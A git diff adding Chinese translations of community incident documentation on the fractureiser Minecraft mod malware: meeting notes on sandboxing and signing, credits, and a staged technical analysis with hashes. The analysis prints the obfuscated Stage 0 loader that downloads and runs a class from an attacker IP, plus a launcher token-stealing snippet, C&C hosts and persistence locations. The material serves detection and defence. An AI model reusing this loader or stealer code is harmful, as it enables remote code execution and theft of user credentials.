+基本上是个老大难问题。 + +Minecraft 需要只能访问: + +- 互联网:正版验证、登入服务器进行联机游戏等。 +- 访问文件系统:只需要 `.minecraft` 目录,并可以递归访问其下所有子目录。 + +主要目标是限制文件系统的访问权限。 + +对于 Windows,似乎并没有沙箱化操作系统的简单途径(除了「直接去玩基岩版」)外。最接近的方案是 Chromium 的 [`model`](https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox.md),然而需要对 Minecraft 游戏本身做出重大修改。 + +对于 macOS,我们**可以**使用苹果内置的 ["Seatbelt"](https://www.chromium.org/developers/design-documents/sandbox/osx-sandboxing-design/) 机制来实现沙箱。苹果公司早已对其旗下 AppStore 上架的应用强制要求这个了,但这个强制要求还没覆盖到 AppStore 外的应用(比如 Minecraft)。然而这仍然不能用来阻止对某些网站的访问。 +下图展示了我们可以使用的权限配置。这些配置理论上可以应对恶意软件发起的攻击了。 +![image](../../../docs/media/sandboxfile.png) + +对于 Linux,我们有数个选项。第一个便是 SELinux/AppArmor。这些框架的配置难度之高可谓是臭名昭著,也因此这些框架的部署范围并不大。 +然而,我们需要的防御策略也不复杂,所以这个选项也并非不可能。 + +用 OpenBSD 的话来说,我们只需要 [`unveil(2)`](https://man.openbsd.org/unveil) 游戏实例根目录下的所有路径就行了,然而 Liunx 上没有这个。 + +第二个选项是用 Flatpak 这样的(打包)系统。 + + +timoreo: Executing untrusted code is always unsafe, regardless of what sandboxing you +have. Sandboxing is always your last resort. We have a flatpak of Prism which is sandboxed +and restricts a lot of access. Prevented this specific attack. Can be difficult, e.g. you +might think you can restrict mic, but what if a mod adding voice chat wants it? Needs to +be restricted but allow freedom for modders. Linux has a lot of techniques, can restrict +pretty much everything. + +timoreo:不管你用了啥沙箱,执行不受信代码一直都不安全。沙箱始终都应是你的最后手段。我们有 Flatpak 打包的 +PrismLauncher,不仅有沙箱还限制了一堆权限,使得我们免遭此次攻击。配置沙箱实际上还挺棘手的,举个例子,你觉得 +你可以限制麦克风权限,但如果有模组加了游戏内置语音聊天?(译注:这种模组真实存在。)这就需要在限制的同时还得 +给模组开发者留出空间了。Linux 下有很多技术可用,基本上啥都可以限制。 + +ZekeZ: Main issue is Windows and macOS, especially Windows. + +ZekeZ:问题主要是在 Windows 和 macOS 上,尤其是 Windows。 + +Emi: Concern for several mods. Locking down fs access can be problematic for mods that +want global instance-independent configs + +Emi:为某些模组感到担忧。如果锁死文件系统(译注:File System,常缩写为 fs)访问权限,对于那些需要 +「独立于游戏实例外的全局配置」的模组来说不好办了。 + +ZekeZ: What was the problem with EMI? + +ZekeZ:EMI 有啥问题? + +Emi: There is a user-facing option to store stuff in ~/.minecraft instead of the instance +local one + +Emi:有个用户选项是存在 ~/.minecraft 里的,而不是游戏目录下 + +timoreo: You can case-by-case allow files. Anyways, what about network? + +timoreo:你可以根据具体情况加例外。总之,网络连接权限? + +--- + +Recap + +总结 + +kennytv: Hi from Paper. Some overlap with modding, and have our own plugin repo. Would be +interested in one maintainable scanner for identifying current malware. There is a bunch +right now. On signing, Sponge also had that for a while. They basically gave on it, +because people didn't know how to use it. Very hard to get novices to understand it. + +kennytv:大家好,这里是 Paper 的代表。我们跟模组社区有点交集,同时我们也有自己的插件仓库。 +我们对能识别时下流行的恶意软件,且有维护性的扫描器感兴趣。恶意软件实际上有不少。 +Sponge 曾经那么做过,但现在放弃了,因为用户根本不知道怎么用。让新人理解这个还是太困难了。 +(译注:当时话题在数字签名上,此处 kennytv 指的是 Sponge 旗下插件发布平台 Ore +曾经强制要求插件上传时携带 PGP 签名。) + +Lambda: Would like to see mod hosting to add more 2FA. Or even only allowing API/CI to +upload. That can be a bit annoying but can avoid token stealing resulting in bad +uploads. Currently don't know if Modrinth has 2fa. CurseForge has it but only for +payouts. Want to see this expanded. + +LambdAurora:希望看到模组托管平台增加更多 2FA 方式。或者只支持 API/CI 上传。对,是会很麻烦,但可以避免 +令牌失窃导致的恶意上传。目前我不知道 Modrinth 是否支持 2FA。CurseForge 支持这个,但仅在兑现(激励计划的 +收入)时要求检查。希望能看到覆盖范围扩大。 + +Geo: Were working on 2fa before this started. Will also allow scoped tokens (e.g. unsigned +builds only from this token, signed builds only from this token) 2fa has a flaw which is +your session token is still vulnerable to compromise. LTT YouTube was compromised by +this. Planning on launching new auth stuff in a couple of weeks. + +Geometrically:会议之前我在写 2FA 支持。未来计划支持令牌权限限制(举例,这个令牌只产生不带签名的构建,那个 +令牌只产生带签名的构建)。2FA 有个问题是会话令牌(Session Token)还是会失窃。LinusTechTips 的 YouTube 号 +曾经就这样被盗过。未来数周内计划启动新的登录验证支持。 + +Emi: To point out, LPS authors did have 2fa. + +Emi:有必要指出 Luna Pixel Studios 的开发者们都启用了 2FA。 + +willie: Reiterating the point about building, signing, releasing **in CI** + +williewillus:再次强调了在**CI**里构建、签名、发布的重要性。 + +Geo: one thing platforms to do is a general checklist when they're first uploading a +project. On Modrinth we have a guide for literally everything. When we added descriptions +and icons to the new upload checklist, rates of doing so jumped up. + +Geometrically:平台还可以在新人第一次上传项目的时候准备一个「待办清单」。在 Modrinth 上基本上干什么都有教程。 +我们在给「上传前要做的事」清单加上「给项目加介绍」和「上传图标」后,这么做的人数马上就多了。 + +Emi: Recently implemented CI publishing. Just copied another Github workflow file. This +isn't maintainable. + +Emi:最近刚实现了 CI 中发布。实际上就是复制粘贴的另一个 GitHub 仓库里的 workflow 文件。完全没办法维护。 + +Lambda: CI is not a thing a first time modder will do. There's a learning curve to +modding: experimentation, then publishing, then fix stuff after you get popular. It's very +daunting for a beginner due to lack of documentation *for modding workflows*. CI not +really in the example mod templates. + +LambdAurora:初次接触模组开发的人绝对不会去搞什么 CI 的。这里有个学习曲线:实验、发布、然后在出名之后修问题。 +缺少**模组开发的流程**这事实在是太劝退新人了。样板模组里压根儿就没 CI 什么事。 + +Jared: Host the BlameJared maven with lots of projects. Encourage people to use CI as much +as possible. Default MDK just publishes artifact, not even source. Need more examples and +guides to set up jenkins, etc. + +Jared:托管了一堆项目的 BlameJared maven 的维护者。应该尽可能鼓励开发者使用 CI。默认的 MDK 实际上只会发布 +制品(artifact),甚至不会发布源码。我们需要更多的例如配置 Jenkins 的教程。 + +willie: GH Actions is probably easier for beginners than Jenkins no? + +williewillus:GitHub Actions 对于初学者来说难道不比 Jenkins 简单? + +Jared: Not familiar with GH does it now. All files on my maven are built locally, not sure +how remote publishing would work. + +Jared:我不太了解 GitHub 那边的情况。我 maven 上所有的文件都是本机构建的,不太确定发布到远端仓库是个什么操作。 + +Emi: For a lot of mods, Maven is not strictly necessary. Can use CurseMaven/Modrinth's +maven. Useful for mods that don't intentionally expose themselves as API's. + +Emi:对于很多模组来说甚至不需要 Maven。直接用 CurseMaven 和 Modrinth 的 maven 仓库就行了。 +尤其是对那些没有公开 API 的模组来说,足够了。 + +willie: +1 that Maven's are second order, most mods are leaf content mods that don't need +Maven publishing. + +williewillus:+1 Maven 仓库应该是第二个选项,大部分模组都是内容相关的,不需要发布到 Maven 仓库。 + +Jared: CurseMaven is not a long term option. No one noticed, but CurseGradle has been +taken off Github. Its source is gone. Nobody has noticed or spoken up about it. + +Jared:CurseMaven 不是长久之计。估计你们还没注意到,CurseGradle 从 GitHub 上下架了。源码也没了。 +没人注意到也没人提起这事。 + +willie: overall action item recap + +williewillus:[会议最终回顾总结] + +Fury: Thanks everyone. Overwolf has grown over the years. Some folks reached out and +provided valuable information. If you have further information, feel free to contact us it +would help a lot. + +Fury:感谢各位。Overwolf 这些年来一直在成长。一些人主动联系我们并提供了宝贵信息。如果你有其他问题,请务必联系我们, +不胜感激。 \ No newline at end of file diff --git a/lang/zh-CN/docs/credits.md b/lang/zh-CN/docs/credits.md new file mode 100644 index 00000000..05739934 --- /dev/null +++ b/lang/zh-CN/docs/credits.md @@ -0,0 +1,19 @@ +Last updated at Jun 9th, 2023 +最后更新于二〇二三年六月九日 + +## 鸣谢 + +不一定完整!感谢所有社区成员的努力。我们会在尘埃落定时整理出完整名单。 + +[**Emi**](https://github.com/emilyploszaj/):团队协调、首个发现者(本团队内)、早期研究、会议协调 +[**Jasmine**](https://github.com/jaskarth/):团队协调、研究、我们目前使用的反编译器([Quiltflower](https://github.com/QuiltMC/quiltflower/))的开发维护 +[**unascribed**](https://github.com/unascribed/):文档编纂协调、人流控制、LOGO +[**williewillus**](https://github.com/williewillus/):团队协调兼职记者 +[**Vazkii**](https://github.com/vazkii/):文档编纂、对外沟通 +[**Col-E**](https://github.com/Col-E/):逆向工程、我们目前使用的反混淆器([Recaf](https://www.coley.software/Recaf/))的开发维护 +[**quat**](https://github.com/quat1024/):文档编纂、初步感染样本分析 +[**cortex**](https://github.com/mcrcortex/):逆向工程 +[**aurelium**](https://github.com/autumnaurelium/):团队协调、反混淆 +[**D3SL**](https://github.com/D3SL/):深入逆向工程,后了解到其为本次事件中恶意软件的最早发现者之一 +[**Luna Pixel Studios**](https://lunapixelstudios.github.io/):在短时间内发现未授权文件上传 +**Nia**:深入阶段 3 逆向工程 diff --git a/lang/zh-CN/docs/media/localappdata.png b/lang/zh-CN/docs/media/localappdata.png new file mode 100644 index 00000000..ce95fc26 Binary files /dev/null and b/lang/zh-CN/docs/media/localappdata.png differ diff --git a/lang/zh-CN/docs/media/stages.png b/lang/zh-CN/docs/media/stages.png new file mode 100644 index 00000000..c1fec5a9 Binary files /dev/null and b/lang/zh-CN/docs/media/stages.png differ diff --git a/lang/zh-CN/docs/tech.md b/lang/zh-CN/docs/tech.md new file mode 100644 index 00000000..1fc8d475 --- /dev/null +++ b/lang/zh-CN/docs/tech.md @@ -0,0 +1,369 @@ +Last updated at Jun 9th, 2023 +最后更新于二〇二三年六月九日 + +# 技术分析 + +## 传播 + +一些整合包在作者不知情的情况下突然发布了新版,而这些新版整合包则包含了含恶意软件的模组。当事方在发现后旋即存档了这些版本,这意味着「通过 CurseForge 网页界面无法访问这些版本,只可能通过 API 访问」。 + +这些含恶意软件的模组的上传时间可追溯到过去数周前。其中,大部分文件的上传者均为一次性小号,用户名也明显是随机生成的, +可能是传染的「种子」。Luna Pixel Studios 的开发者之一为更新整合包而试用了其中一个模组,其因此被感染。 + +### 已知受影响的模组及插件 + +注:该列表**并不完整**。该列表是在调查初期整理出来的,但在我们意识到该恶意软件的传染规模比想象中要大得多时, +追踪个案已然毫无价值。该列表目前仅因历史考量而保留。 + +同时,亦可参考 [CurseForge 给出的受影响项目列表](https://support.curseforge.com/en/support/solutions/articles/9000228509-june-2023-infected-mods-detection-tool/)。 + +|模组/插件|链接|SHA1|「上传者」| +|---|---|---|---| +|Skyblock Core|[www.curseforge.com/minecraft/mc-mods/skyblock-core/files/4570565](https://www.curseforge.com/minecraft/mc-mods/skyblock-core/files/4570565) |`33677CA0E4C565B1F34BAA74A79C09A3B690BF41`|Luna Pixel Studios| +|Dungeonz|[legacy.curseforge.com/minecraft/mc-mods/dungeonx/files/4551100 (removed)](https://legacy.curseforge.com/minecraft/mc-mods/dungeonx/files/4551100) |`2DB855A7F40C015F8C9CA7CBAB69E1F1AAFA210B`|fractureiser| +|Haven Elytra|[dev.bukkit.org/projects/havenelytra/files/4551105 (removed)](https://dev.bukkit.org/projects/havenelytra/files/4551105) [legacy.curseforge.com/minecraft/bukkit-plugins/havenelytra/files/4551105 (removed)](https://legacy.curseforge.com/minecraft/bukkit-plugins/havenelytra/files/4551105) |`284A4449E58868036B2BAFDFB5A210FD0480EF4A`|fractureiser| +|Vault Integrations|[www.curseforge.com/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590 (removed)](https://www.curseforge.com/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590)|`0C6576BDC6D1B92D581C18F3A150905AD97FA080`|simpleharvesting82| +|AutoBroadcast|[www.curseforge.com/minecraft/mc-mods/autobroadcast/files/4567257 (removed)](https://www.curseforge.com/minecraft/mc-mods/autobroadcast/files/4567257)|`C55C3E9D6A4355F36B0710AB189D5131A290DF26`|shyandlostboy81| +|Museum Curator Advanced|[www.curseforge.com/minecraft/mc-mods/museum-curator-advanced/files/4553353 (removed)](https://www.curseforge.com/minecraft/mc-mods/museum-curator-advanced/files/4553353)|`32536577D5BB074ABD493AD98DC12CCC86F30172`|racefd16| +|Vault Integrations Bug fix|[www.curseforge.com/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590 (removed)](https://www.curseforge.com/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590)|`0C6576BDC6D1B92D581C18F3A150905AD97FA080`|simplyharvesting82 +|Floating Damage|[dev.bukkit.org/projects/floating-damage (removed)](https://dev.bukkit.org/projects/floating-damage)|`1d1aaccdc13244e980c0c024610ecc77ea2674a33a52129edf1bb4ce3b2cc2fc`|mamavergas3001 +|Display Entity Editor|[www.curseforge.com/minecraft/bukkit-plugins/display-entity-editor/files/4570122 (removed)](https://www.curseforge.com/minecraft/bukkit-plugins/display-entity-editor/files/4570122)|`A4B6385D1140C111549D95EAB25CB51922EEFBA2`|santa_faust_2120 + +Darkhax 整理了这个列表:https://gist.github.com/Darkhax/d7f6d1b5bfb51c3c74d3bd1609cab51f + +可能的受影响项目:Sophisticated Core、Dramatic Doors、Moonlight lib、Union lib + +## 阶段 0(被感染的模组文件) + +受影响的模组或插件的入口类中,会多出一个 `static void` 方法,并在同一个类的静态初始化块(译注:`static {}` 块,或者说,`` 方法)中调用。对于 DungeonZ,此方法名为 `_d1385bd3c36f464882460aa4f0484c53`,位于 `net.dungeonz.DungeonzMain`。对于 Skyblock Core, 此方法名为 `_f7dba6a3a72049a78a308a774a847180`,位于 `com.bmc.coremod.BMCSkyblockCore`。对于 HavenElytra,这段代码则是直接插入了 `valorless.havenelytra.HavenElytra` 的静态初始化块中,而正常版本中该类并未使用静态初始化块。 + +该方法的代码存在一定程度的混淆:其使用了 `new String(new byte[]{...})` 来构造 `String` 而非直接使用字面量(String literal)。 + +下列代码来自由 D3SL 提供的 `Create Infernal Expansion Plus` 样本,其为正常的 `Create Infernal Expansion Compat` 模组加上恶意代码植入其入口类后形成: + +```java +static void _1685f49242dd46ef9c553d8af1a4e0bb() { + Class.forName(new String(new byte[] { + // "Utility" + 85, 116, 105, 108, 105, 116, 121 + }), true, (ClassLoader) Class.forName(new String(new byte[] { + // "java.net.URLClassLoader" + 106, 97, 118, 97, 46, 110, 101, 116, 46, 85, 82, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114 + })).getConstructor(URL[].class).newInstance(new URL[] { + new URL(new String(new byte[] { + // "http" + 104, 116, 116, 112 + }), new String(new byte[] { + // "85.217.144.130" + 56, 53, 46, 50, 49, 55, 46, 49, 52, 52, 46, 49, 51, 48 + }), 8080, new String(new byte[] { + // "/dl" + 47, 100, 108 + })) + })).getMethod(new String(new byte[] { + // "run" + 114, 117, 110 + }), String.class).invoke((Object) null, "-114.-18.38.108.-100"); +} +``` + +这段代码: + +1. 创建 `URLClassLoader` 对象,该 `URLClassLoader` 会从 `http://[85.217.144.130:8080]/dl`([shodan](https://www.shodan.io/host/85.217.144.130))下载并加载类。 +2. 透过 1. 中所述 `ClassLoader` 加载名为 `Utility` 的类。此过程会联网下载文件。 +3. 调用 `Utility` 类的 `run` 方法,传入一字符串作为实参。每个受感染模组在此处传入的实参均不相同(!),例如: + * Skyblock Core:`-74.-10.78.-106.12` + * Dungeonz:`-114.-18.38.108.-100` + * HavenElytra:`-114.-18.38.108.-100` + * Vault Integrations:`-114.-18.38.108.-100` + +该参数会在阶段 1 中转化为字节流,并写入一名为 `.ref` 的文件中。表面上看,这是作者追踪感染路径的方式。 + +该阶段所创建的 `ClassLoader` 对象硬编码了目标 URL,并未使用阶段 1 中使用的 CloudFlare URL。在该 IP 地址下线后,**我们已知的**阶段 0 感染代码将无法正常工作。 + +## 阶段 1(`dl.jar`) + +SHA-1:`dc43c4685c3f47808ac207d1667cc1eb915b2d82` + +[该文件的反编译结果可在此查阅](../decomp)。 + +`Utility.run` 在开始执行前,首先会检查系统属性 `neko.run` 是否已有对应的值(译注:`System.getProperty(String)` 返回值非空)。若已设定有对应的值,程序会**立即停止运行**。若没有,则会将其值设定为空字符串,并继续执行。表面上看,这是恶意软件防止在某些情况下执行多次的手段,例如在存在多个受感染模组的情况下。**此行为不能用作可靠的「紧急停止开关」(Kill Switch),因为阶段 1 代码需联网获取,因此随时可能发生变化。** + +然后,该程序试图访问 `85.217.144.130` 以及一个 CloudFlare 域名(`https://files-8ie.pages.dev/ip`)。我们已就此向 CloudFlare 提交滥用举报。这个 CloudFlare Pages 域名是用来获取指挥控制(Command & Control,下简称 C&C)服务器 IP 地址的。若前述第一个 IP 地址失去响应,这个 URL 将会返回一串 IPv4 地址的二进制表达。 + +**该 C&C 服务器 IP 地址在其服务器提供商收到滥用举报后便被切断公网连接(译注:原文 nullrouted,意为路由到黑洞)。我们未来仍需关注该 CloudFlare Pages 域名,以确认是否有新的 C&C 服务器上线。我无法想象攻击者居然没为此做好准备。** 我们在此感谢 Serverion 的及时响应。 + +**CloudFlare Pages 域名已停止服务。** 一个新 C&C 服务器已上线,地址为 `107.189.3.101`。 + +阶段 1 随后会尝试持久化,过程如下: +1. 从服务器上下载阶段 2 文件(对于 Linux 是 `lib.jar`,对于 Windows 是 `libWebGL64.jar`) +2. 令阶段 2 文件开机自启动: +* 对于 Linux,其试图在 `/etc/systemd/system` 或 `~/.config/systemd/user` 中放置 `systemd` 的 unit 文件来达成自启动。 + * 在用户目录下放置的 unit 实际上不可能工作,因为该 unit 试图使用 user unit 中并不存在的 `multi-user.target`。 +* 对于 Windows,其试图通过修改注册表达成自启动(`HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`),若失败则会将其加入 `Windows\Start Menu\Programs\Startup` 目录中作为备用方案。 + +## 阶段 2(`lib.jar` 或 `libWebGL64.jar`) + +已知 SHA-1 哈希值: +* `52d08736543a240b0cbbbf2da03691ae525bb119` +* `6ec85c8112c25abe4a71998eb32480d266408863`(D3SL 早期上传版本) + +阶段 2 使用了试用版 Allatori 混淆,入口类名为 `Bootstrap`。 +此外,阶段 2 还包含了一名为 `h` 的类,用途似乎是实现简易通信,但除此之外并无实际内容。对其源码的重建尝试可在此找到:https://gist.github.com/SilverAndro/a992f85bec29bb248c354ccf5d2206fe + +该程序启动后,会进行如下操作: +1. 打开 `9655` 端口,并添加 shutdown hook(译注:`Runtime#addShutdownHook(Thread)`,确保其在 JVM 退出时关闭。 +2. 在硬盘上定位自身存在路径,并以其所在目录为工作目录执行后续代码。 +3. 若存在 `.ref` 文件,读取其中存储的识别码。(译注:前文阶段 0 一节中所述的传参) +4. 开始下列循环: + 1. 通过 `https://[files-8ie.pages.dev]:8083/ip` 获取服务器地址,并建立连接 + 2. 获取「是否继续检查更新」的 Flag,若为 false 则抛出异常(通过前述获取到的服务器地址上的 `1338` 端口完成) + 3. 若 2. 中 Flag 为 `true`,则获取一串哈希值,并与 `client.jar` 比较(如果有),并在判定需要更新后向服务器再回复一个字节的信息 + 4. 若需要更新,将从服务器拉取并覆写/创建 `client.jar`,然后为其设置隐藏属性。 + 5. 加载该 jar,调用 `dev.neko.nekoclient.Client#start(InetAddress, refFileBytes)` 方法 + 6. 睡眠 5 秒钟(译注:`Thread.sleep(5000)`) + +## 阶段 3(`client.jar`) + +sha-1:`c2d0c87a1fe99e3c44a52c48d8bcf65a67b3e9a5` +sha-1:`e299bf5a025f5c3fff45d017c3c2f467fa599915` + +`client.jar` 内含经过混淆的复杂代码,除普通 Java 程序外还有本地代码(native code)。 + +其中,包含本地代码的文件叫 `hook.dll`,反编译结果可在此查阅:https://gist.githubusercontent.com/NotNite/79ab1e5501e1ef109e8030059356b1b8/raw/c2102bf5ff74275ac44c2200d5121bfff652fd49/hook.dll.c + +其内含两个方法,方法名显示这两个方法均可通过 JNI 调用,因此这两个方法应是供 Java 代码调用的: +* `__int64 __fastcall Java_dev_neko_nekoclient_api_windows_WindowsHook_retrieveClipboardFiles(__int64 a1);` +* `__int64 __fastcall Java_dev_neko_nekoclient_api_windows_WindowsHook_retrieveMSACredentials(__int64 a1);` + +根据分析,这两个方法的功能可以顾名思义: +* 读取剪贴板内容 +* 读取微软账号登录信息 + +代码中还找到了其试图进行下列操作的证据: +* **全盘扫描** JAR 文件,找出所有疑似 Minecraft 模组的文件(通过检测 Forge/Fabric/Quilt/Bukkit 完成),或[声明有入口类的文件](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/Client.java#L235-L244)(即,大部分常规 Java 程序),并试图将这些文件感染为阶段 0 文件。 +* 从大量网页浏览器中窃取 Cookie 和登录信息 +* 将剪贴板中的加密货币钱包地址替换为其他地址,据信替换后的地址为攻击者所持有 +* 窃取 Discord 登录信息 +* 从一众启动器中窃取微软账号及 Minecraft 登录信息 +* 窃取加密货币钱包 + +判定某一 jar 文件为模组/插件的方式如下: +* Forge(`dev/neko/e/e/e/A`):恶意软件试图定位存在有 `@Mod` 注解的类,对于 Forge 模组来说此为必须。 +* Bukkit(`dev/neko/e/e/e/C`):恶意软件检查是否有类继承了 Bukkit 的 `JavaPlugin` 类 +* Fabric/Quilt(`dev/neko/e/e/e/i`):恶意软件检查是否有类实现了 `ModInitializer` 接口 +* Bungee(`dev/neko/e/e/e/l`):恶意软件检查是否有类继承了 BungeeCord 的 `Plugin` 类 +* Vanilla(`dev/neko/e/e/e/c`):恶意软件检查是否存在游戏客户端入口类 `net.minecraft.client.main.Main` + +## 阶段 3(`unobf-client.jar`) + +大约 2023-06-07 14:20 UTC 左右,有人发现阶段 3 的「客户端 jar」被意外更新成了未混淆的版本。 +你可以在这里找到该 jar 的归档(译注:已经过反编译):https://github.com/clrxbl/NekoClient + +该文件的出现证实了此前根据混淆后的 `client.jar` 的分析而推导出的可疑行为/证据。 + +### 复制 + +该病毒/恶意软件通过自动处理对本机文件系统扫描得到的 jar 来实现自我复制。所有符合前述条件的 jar 都将会感染。扫描及恶意代码注入的相关代码可在此找到:[`dev/neko/nekoclient/Client.start(InetSocketAddress, byte[])`](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/Client.java#L273) + +处理流程的具体要求可在此找到:[`dev/neko/nekoinjector/template/impl`](https://github.com/clrxbl/NekoClient/tree/main/dev/neko/nekoinjector/template/impl) + +* `BungeecordPluginTemplate` 会定位实现了 `net/md_5/bungee/api/plugin/Plugin` 的类 +* `FabricModTemplate` 会定位实现了 `net/fabricmc/api/ModInitializer` 的类 +* `ForgeModTemplate` 会定位含有 `net/minecraftforge/fml/common/Mod` 注解的类 +* `MinecraftClientTemplate` 会定位 `net/minecraft/client/main/Main.class` 以及 `net/minecraft/client/gui/GuiMultiplayer.class` 两个类 +* `SpigotPluginTemplate` 会定位继承 `org/bukkit/plugin/java/JavaPlugin` 的类 +* 若上述条件均不满足,[其将试图感染 jar 文件的 main 方法](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/Client.java#L235-L244)(如果有的话)。 + +这些恶意代码会向正常文件中注入阶段 0 中所展示的后门逻辑。具体来说,这些代码首先存在于 `Loader` 类中的一个静态方法里,然后同一个包下的 `Injector` 类会负责将代码从 `Loader` 中提取出来,并注入目标类中,以完成感染。`Injector.loadInstallerNode(...)` 的返回值为描述了感染过程的 `MethodNode`。在获取到这个 `MethodNode` 后,程序只需要将代码注入目标类中即可。回到 [`dev/neko/nekoclient/Client.start(InetSocketAddress, byte[])`](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/Client.java#L272) 中,我们可以看到其实现方式是调用 `Entry.inject(MethodNode)`。`inject` 方法还会在目标类的静态初始化块中增加对注入方法的调用,确保该方法一定会执行。有鉴于静态初始化块在类首次加载时一定会被调用,并且目标类是模组/插件类,我们可以判断,恶意代码的作者假设用户在整合包/服务器中安装受感染模组/插件后,这些代码一定会执行。注入完成后,程序会将感染后的类重新打包入 jar 中。 + +### 反沙盒技巧 + +在该恶意软件中出现了一个名为 `VMEscape` 的类,而这样的命名在基于 JVM 的恶意软件中并不常见。该类的会检查当前用户是否为 `WDAGUtilityAccount` 以判断其是否在 [Windows Sandbox](https://learn.microsoft.com/en-us/windows/security/application-security/application-isolation/windows-sandbox/windows-sandbox-overview) 中运行。若检查通过,该恶意软件会尝试脱离沙箱。 + +该尝试流程如下: + +- 发起一新线程,循环执行下列操作: + - 调用 `Files.createTempDirectory(...)` 新建临时目录。 + - 遍历系统剪贴板中的 `FileDescriptor` 对象,而其内容实为宿主机剪贴板内容 + - 创建一与原文件相似的快捷方式(**利用 SHELL32 中的图标**),该快捷方式则会启动恶意软件 + - 将原剪贴板内容替换为该快捷方式 + +由此,若用户将文件复制到别处,他们将会得到外观和原文件类似,但实际上会运行恶意软件的快捷方式。 + +### 窃取数据 + +**MSA Token**:有鉴于该「模组」针对其他 Minecraft 模组,窃取用于登录 Minecraft 的 MSA Token 当然再正常不过了。某些启动器会将 MSA Token 写入本地文件储存,而该恶意软件则会尝试读取这些文件。受此影响的应用有: + +* 原版启动器(Mojang 启动器)(译注:似乎是指应用商店的那个) +* 旧版原版启动器(Mojang 启动器) +* PolyMC、Prism +* Technic +* Feather +* LabyMod(v3.9.59 及以下版本) +* 任何在 [Windows Credential Manager](https://support.microsoft.com/en-us/windows/accessing-credential-manager-1b5c916a-6a16-889f-8581-fc16e8165ac0) 里存储的 MSA Token + +针对不同启动器窃取信息的逻辑(见 [`dev/neko/nekoclient/api/stealer/msa/impl/MSAStealer.java`](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/api/stealer/msa/impl/MSAStealer.java))大体上一致,因为启动器保存登录信息的方式也类似。例如下列针对 LabyMod 的代码: + +```java +private static void retrieveRefreshTokensFromLabyMod(List refreshTokens) throws IOException { + String appdata = System.getenv("APPDATA"); + if (Platform.isWindows() || Objects.isNull(appdata)) { + Path path = appdata == null ? null : Paths.get(appdata, ".minecraft", "LabyMod", "accounts.json"); + if (Files.isReadable(path)) { + extractRefreshTokensFromLabyModLauncher(refreshTokens, Json.parse(Files.readString(path)).asObject()); + } + } +} +``` +窃取 Feather/PolyMC/Prism 存储的登录信息的代码几乎完全相同。 + +针对原版启动器的策略还会处理 JSON 文件外的一层加密保护。 + +针对 Technic 的策略则是先使用 Java 内置的对象序列化(译注:`Serializable`、`ObjectInputStream`、`ObjectOutputStream`)读取,然后处理 `com.google.api.client.auth.oauth2.StoredCredential` 的包装。 + +**Discord token**:偷 Discord Token 这事可谓是众所周知了。除了登录令牌外,还会窃取支付信息、绑定手机号等。此功能影响原版 Discord 客户端、Canary、PTB 以及 Lightcord。相关代码:[`dev/neko/nekoclient/api/stealer/discord/DiscordAccount.java`](https://github.com/clrxbl/NekoClient/blob/fd76c5f9d40d1e10de11f00a6b4e0cca3d6221a3/dev/neko/nekoclient/api/stealer/discord/DiscordAccount.java) + +**Cookies 及浏览器保存的登录凭证**:从各种受影响的浏览器中窃取 Cookies 和登录凭证信息。相关代码:[`dev/neko/nekoclient/api/stealer/browser/impl/BrowserDataStealer.java`](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/api/stealer/browser/impl/BrowserDataStealer.java) + +- Mozilla Firefox + - Waterfox + - Pale Moon + - SeaMonkey +- Chrome + - Edge + - Brave + - Vivaldi + - Yandex + - Slimjet + - CentBrowser + - Comodo + - Iridium + - UCBrowser + - Opera + - Beta + - Developer + - Stable + - GX + - Crypto + - CryptoTab + +## 阶段 3b(`dummyloader3.jar`) + +阶段 3 在第二台 C&C 服务器上线后更新成了另一个 jar。 + +表面上看,这只是一个 SkyRage 更新器。SkyRage 是另一个 Minecraft 相关恶意软件,主要针对 BlackSpigot。 + +### 持久化 + +- Windows:task scheduler `MicrosoftEdgeUpdateTaskMachineVM`,相关文件 `%AppData%\..\LocalLow\Microsoft\Internet Explorer\DOMStore\microsoft-vm-core` +- Linux:`/bin/vmd-gnu`、`/etc/systemd/system/vmd-gnu.service`、service `vmd-gnu` + +### 连接 + +- C&C 服务器:`connect.skyrage.de` +- 下载文件:`hxxp://t23e7v6uz8idz87ehugwq.skyrage.de/qqqqqqqqq` + +### 动作 + +- `qqqqqqqqq` jar 会提取各种信息(浏览器 Cookies、Discord、Epic、Steam、以及加密货币钱包和密码管理器相关),然后更新器 jar 会将信息传回 C&C 服务器。 +- 将剪贴板里的加密货币钱包地址替换为从 `95.214.27.172:18734` 获取的地址。 +- 持久化(见上一节) +- 包含自动更新器,目前版本 932 (`hxxp://t23e7v6uz8idz87ehugwq.skyrage.de/version`) + +### 映射表 + +下列代码为该样本的反混淆映射表,可在 Enigma 或任意支持 Enigma 映射表格式的工具中使用。 + +``` +CLASS D Chat +CLASS E ChatChain +CLASS E$a ChatChain$ChainLink +CLASS F ClientChat +CLASS G EncryptionRequest +CLASS H EncryptionResponse +CLASS H$a EncryptionResponse$EncryptionData +CLASS J KeepAlive +CLASS L LoginPayloadResponse +CLASS O PluginMessage +CLASS O$1 BungeeCordProtocolVersionMapFunction +CLASS P SetCompression +CLASS R StatusResponse +CLASS T CryptocurrencyClipboardLogger +CLASS T$1 CryptocurrencyClipboardLogger$LowLevelKeyboardHook +CLASS U AutoRunPersistence +CLASS V InputStreamFileWriter +CLASS W OperatingSystem +CLASS X AutoUpdater +CLASS Y StacktraceSerializer +CLASS a MalwareClientConnectionHandler +CLASS b Main + FIELD a intconst I + FIELD a string0 Ljava/lang/String; + FIELD a ipAddress Ljava/net/InetSocketAddress; +CLASS g MinecraftBot +CLASS h MinecraftBot2 +CLASS o MinecraftFriendlyByteBuf +CLASS s MinecraftIPAddressResolver +CLASS t MinecraftPacketDecoder +CLASS y MinecraftPacketEncryption +``` + +### 抗反编译 + +该样本表面上利用了 class 文件的实现细节来诱使反编译器报错退出。此类问题可通过 